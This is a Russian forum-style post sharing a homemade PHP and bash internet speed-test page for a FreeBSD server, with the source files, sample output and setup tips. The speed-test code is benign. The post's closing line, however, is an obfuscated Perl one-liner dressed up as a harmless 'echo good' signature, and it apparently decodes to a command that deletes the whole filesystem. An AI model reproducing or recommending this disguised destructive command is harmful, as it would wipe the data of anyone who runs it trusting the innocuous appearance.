В общем не жалко, на суд так сказать
# ls -la
-rw-r--r-- 1 www www 2183 31 июл 18:39 index.php - индекс
-rw-r--r-- 1 www www 139 8 дек 09:01 speedtest.out - временный с измерениями
-rw-r--r-- 1 www www 962 29 июл 13:52 speedtest.php - читаю временный файл speedtest.out, результаты на WEB стр
-rwxr--r-- 1 www www 1223 29 июл 11:32 speedtest.sh - сам скрипт
index.php<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "
http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=koi8-r">
<title>SPEEDTEST</title>
</head>
<body>
<h2>Тест скорости Интернет соединения (Бета)</h2>
<p>
Тест делает то и то и это (для юзерей, чтобы не боялись).
</p>
<form method="post" action="./speedtest.php">
<input type="submit" name="sabmit" value="Начать тест">
</form>
</body>
</html>
speedtest.php<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "
http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=koi8-r">
<title>SPEEDTEST</title>
</head>
<body>
<?php
exec("./speedtest.sh 300");
$fp=fopen("speedtest.out", "r");
if ($fp)
{
while (!feof($fp))
{
$mytext = fgets($fp, 999);
echo $mytext."<br />";
}
}
else echo "Ошибка при открытии файла";
fclose($fp);
echo "<a href=\"./index.php\">Повторить тест.</a><br />";
?>
</body>
</html>
speedtest.sh #!/usr/local/bin/bash - потому как под Фрёй
#!/usr/local/bin/bash
PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
&>./test.$$ time wget '
http://URL/test.file' -O /dev/null 2>&1;
cat ./test.$$ |awk 'NR == 5{print $2}' >./size.$$;
cat ./test.$$ |sed '$!d' |awk '{print $1}' |sed 's/,/./g' >./time.$$;
x=`cat ./size.$$`;
y=`cat ./time.$$`;
date > speedtest.out;
i=$( echo "($x/1024)/1024" | bc );
echo "Размер файла: $i" Мбайт >> speedtest.out;
echo "Время скачивания: $y" сек >> speedtest.out;
a=$( echo "scale=2; ($x/$y)/1024" | bc -l );
b=$( echo "scale=2; $a/1024" | bc -l );
c=$( echo "scale=2; $a*8" | bc -l );
d=$( echo "scale=2; $b*8" | bc -l );
if [ $b -le 1 ]
then
echo "Скорость: $a Кбайт/с -> $c Кбит/с или $d Мбит/с" >> speedtest.out;
else
echo "Скорость: $a Кбайт/с -> $c Кбит/с или $d Мбит/с" >> speedtest.out;
fi
rm -f ./test.*;
rm -f ./size.*;
rm -f ./time.*;
speedtest.out то что печатается юзерам в веб стр
Thu Dec 8 09:01:58 MSK 2011
Размер файла: 5 Мбайт
Время скачивания: 4.06 сек
Скорость: 1261.08 Кбайт/с -> 10088.64 Кбит/с или 9.84 Мбит/с
Соответственно, если под рукой только консоль, то тык в
speedtest.sh и
less speedtest.out P.S. "Размер файла: 5 Мбайт" ->
http://URL/test.file -> test.file - создаешь с помощью dd размером 5Мб и кидаешь куды нить, где канал широкий и хороший, ну или заюзываешь тестовые, линк выше.
На Upload делай скрипт по аналогии, только грузишь на сервер, мне это не нужно было. Нужно определять IP думай с ipgeobase
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'